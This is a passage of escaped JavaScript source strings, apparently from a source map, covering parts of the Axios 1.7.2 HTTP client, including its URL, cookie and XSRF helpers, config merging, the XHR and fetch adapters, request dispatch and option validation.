bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null\n };\n\n data[isDownloadStream ? 'download' : 'upload'] = true;\n\n listener(data);\n }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n (function standardBrowserEnv() {\n const msie = /(msie|trident)/i.test(navigator.userAgent);\n const urlParsingNode = document.createElement('a');\n let originURL;\n\n /**\n * Parse a URL to discover its components\n *\n * @param {String} url The URL to be parsed\n * @returns {Object}\n */\n function resolveURL(url) {\n let href = url;\n\n if (msie) {\n // IE needs attribute set twice to normalize properties\n urlParsingNode.setAttribute('href', href);\n href = urlParsingNode.href;\n }\n\n urlParsingNode.setAttribute('href', href);\n\n // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n return {\n href: urlParsingNode.href,\n protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n host: urlParsingNode.host,\n search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n hostname: urlParsingNode.hostname,\n port: urlParsingNode.port,\n pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n urlParsingNode.pathname :\n '/' + urlParsingNode.pathname\n };\n }\n\n originURL = resolveURL(window.location.href);\n\n /**\n * Determine if a URL shares the same origin as the current location\n *\n * @param {String} requestURL The URL to test\n * @returns {boolean} True if URL shares the same origin, otherwise false\n */\n return function isURLSameOrigin(requestURL) {\n const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n return (parsed.protocol === originURL.protocol &&\n parsed.host === originURL.host);\n };\n })() :\n\n // Non standard browser envs (web workers, react-native) lack needed support.\n (function nonStandardBrowserEnv() {\n return function isURLSameOrigin() {\n return true;\n };\n })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils.isString(path) && cookie.push('path=' + path);\n\n utils.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n if (baseURL && !isAbsoluteURL(requestedURL)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({caseless}, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, caseless) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(a, b, caseless);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a, caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n };\n\n utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n let {responseType} = _config;\n let onCanceled;\n function done() {\n if (_config.cancelToken) {\n _config.cancelToken.unsubscribe(onCanceled);\n }\n\n if (_config.signal) {\n _config.signal.removeEventListener('abort', onCanceled);\n }\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n _config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (typeof _config.onDownloadProgress === 'function') {\n request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n }\n\n // Not all browsers support upload events\n if (typeof _config.onUploadProgress === 'function' && request.upload) {\n request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (cancel) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = cancel instanceof Error ? cancel : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n }\n\n let timer = timeout && setTimeout(() => {\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n }, timeout)\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal &&\n (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n });\n signals = null;\n }\n }\n\n signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = unsubscribe;\n\n return [signal, () => {\n timer && clearTimeout(timer);\n timer = null;\n }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n for await (const chunk of iterable) {\n yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n const iterator = readBytes(stream, chunkSize, encode);\n\n let bytes = 0;\n\n return new ReadableStream({\n type: 'bytes',\n\n async pull(controller) {\n const {done, value} = await iterator.next();\n\n if (done) {\n controller.close();\n onFinish();\n return;\n }\n\n let len = value.byteLength;\n onProgress && onProgress(bytes += len);\n controller.enqueue(new Uint8Array(value));\n },\n cancel(reason) {\n onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n const lengthComputable = total != null;\n return (loaded) => setTimeout(() => fn({\n lengthComputable,\n total,\n loaded\n }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n try {\n return utils.isReadableStream(new Response('').body);\n } catch(err) {\n // return undefined\n }\n})();\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n })\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils.isBlob(body)) {\n return body.size;\n }\n\n if(utils.isSpecCompliantForm(body)) {\n return (await new Request(body).arrayBuffer()).byteLength;\n }\n\n if(utils.isArrayBufferView(body)) {\n return body.byteLength;\n }\n\n if(utils.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n composeSignals([signal, cancelToken], timeout) : [];\n\n let finished, request;\n\n const onFinish = () => {\n !finished && setTimeout(() => {\n composedSignal && composedSignal.unsubscribe();\n });\n\n finished = true;\n }\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader)\n }\n\n if (_request.body) {\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n requestContentLength,\n progressEventReducer(onUploadProgress)\n ), null, encodeText);\n }\n }\n\n if (!utils.isString(withCredentials)) {\n withCredentials = withCredentials ? 'cors' : 'omit';\n }\n\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n withCredentials\n });\n\n let response = await fetch(request);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n responseContentLength,\n progressEventReducer(onDownloadProgress, true)\n ), isStreamResponse && onFinish, encodeText),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && onFinish();\n\n stopTimeout && stopTimeout();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n })\n })\n } catch (err) {\n onFinish();\n\n if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n getAdapter: (adapters) => {\n adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n}\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators[type] = function validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nexport default {\n assertOptions,\n validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig;\n this.interceptors = {\n request: new InterceptorManager(),\n response: new InterceptorManager()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy;\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n }\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n serialize: validators.function\n }, true);\n }\n }\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n // 